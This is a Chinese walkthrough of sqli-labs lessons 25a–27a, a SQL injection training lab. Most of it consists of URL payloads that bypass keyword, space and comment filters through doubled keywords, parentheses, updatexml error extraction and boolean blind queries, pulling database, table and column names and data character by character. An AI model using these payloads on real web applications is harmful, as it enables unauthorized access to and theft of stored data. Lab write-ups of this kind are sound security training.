sqli-labs lesson25a-27a
目录
4.lesson-27 union双写select大小写混写
1.lesson25a 双写and或or
过滤and和or
判断注入:
为整数型注入
?id=1 anandd 1=2
查数据库名:
?id=-1 union select 1,2,database()
2.lesson-26 使用()
过滤了很多-- +,#,、/**/,空白字符(空格),/,and,or
判断注入:
为单引号注入
?id=1' anandd '1'='1
空格过滤了,可以使用%0a,%a0,%09,%0c,括号,/**/等
使用括号绕过,查数据库:
?id=1' ||updatexml(1,concat(0x7e,(select (database())),0x7e),1) || '1'='1
查数据表:
?id=1' ||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),0x7e),1) || '1'='1
查数据列:
?id=1' ||updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') anandd(table_name='users')),0x7e),1) || '1'='1
3.lesson-26a()绕过空格
过滤了
判断注入:
单引号括号注入
?id=1') aandnd ('
盲注时要注意注释符号,当注释选and '1'='1,虽然符号没闭合,也会出现内容
选and '
选or'
选or('
选or('1')=('1
当所有sql的注释符(-- +,#)被过滤时并且无报错,在使用盲注时只能一个一个的试了,看闭合后是否能出结果
当使用两个and时,推荐闭合符号类似and'1'='1
当用一个或没有and时,推荐闭合符号类似or '
关闭了报错,使用布尔盲注
判断数据库长度:
1')anandd(length(database())=8)||('
数据库第一个字母
?id=1')anandd(select (ascii(substr(database(),1,1)))=115)||('
第二个……
判断所有表的长度: 这里limit 0,1用不了,空格无法绕过
?id=1')anandd(select(length((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 'security')))=29))||('
判断所有表的第二个字母: 第一个字符为~
?id=1')anandd(select(ascii(substr((select (group_concat(concat('~',table_name,'~')))from(infoorrmation_schema.tables)where(table_schema='security')),2,1)))=101)||('
第三个……
判断所有字段的长度:
/?id=1')anandd(select(length((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema = 'security') anandd(table_name='emails')))=11))||('
判断emails表的第一个字段的第二个字符:
?id=1')anandd(select(ascii(substr((select (group_concat(concat('~',table_name,'~')))from(infoorrmation_schema.tables)where(table_schema='security')),2,1)))=105)||('
第三个……
判断emails表id的总长度:
?id=1')anandd(select(length((select (group_concat(id)) from (security.emails)))=15))||('
查emails表的id第一条数据第二个字符:
?id=1')anandd(select(ascii(substr((select(group_concat(concat('~',id,'~')))from(security.emails)),2,1)))=49)||('
第二条……
4.lesson-27 union双写select大小写混写
windows的union select联合查询没法做
判断注入类型:
单引号注入
查数据库:
?id=1' and (updatexml(1,concat(0x7e,(select (database())),0x7e),1))and'1'='1
其他看26关
5.lesson-27a
过滤了
关闭报错为盲注
判断注入:
双引号注入
判断数据库长度:
?id=1" and(length(database())=8)||"
数据库第一个字母
?id=1"and(select (ascii(substr(database(),1,1)))=115)||"
参考26a
参考文章: